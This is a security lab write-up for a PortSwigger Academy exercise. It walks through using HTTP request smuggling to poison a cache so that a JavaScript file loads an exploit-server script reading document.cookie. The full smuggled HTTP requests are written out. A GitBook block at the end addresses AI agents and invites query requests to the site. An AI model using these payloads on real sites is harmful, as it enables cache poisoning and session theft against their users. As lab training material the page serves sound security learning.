> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).
# Web Cache Poisoning via HTTP Request Smuggling
Web Cache Poisoning via HTTP Request Smuggling notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Exploiting HTTP Request Smuggling to Perform Web Cache Poisoning
The front-end and back-end treat HTTP requests differently. / The front-end **does not support chunked encoding** and some responses are **cached**.
The objective is to carry out an attack of **request smuggling** allowing to poison the cache\*\*: in a subsequent query to a JavaScript file, the victim should be redirected to the exploit server, which will return a script displaying `document.cookie`.
The lab automatically simulates a victim user: all the few POST requests we send, the victim makes his own request.
#### Payload On Server
We prepare the malicious JavaScript response:
```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
alert(document.cookie);
```
#### Information About tracking.js File
The resource is observed to be hidden for 30 seconds\*\*
```javascript
Cache-Control: max-age=30
Age: 9
X-Cache: hit
Content-Length: 70
document.write('');
```
#### Analysis of the Behaviour of the Post-next Button
* The `postId` parameter remains the same.
* By clicking, the application makes a redirect to the next post.
Example of a request that triggers this redirection:
```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Test: A
```
#### Test: Injecting an Arbitrary Host Header
By replacing the host of the internal request:
```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11
test=test
```
#### Final Payload to Redirect to Our Exploit Server
An internal GET request containing our controlled **Host** is injected:
```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20
test=test
```
As soon as the victim loads the cached JavaScript resource, the cache will return **for 30 seconds** our modified response, triggering:
```javascript
alert(document.cookie)
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
');
```
.png?alt=media)
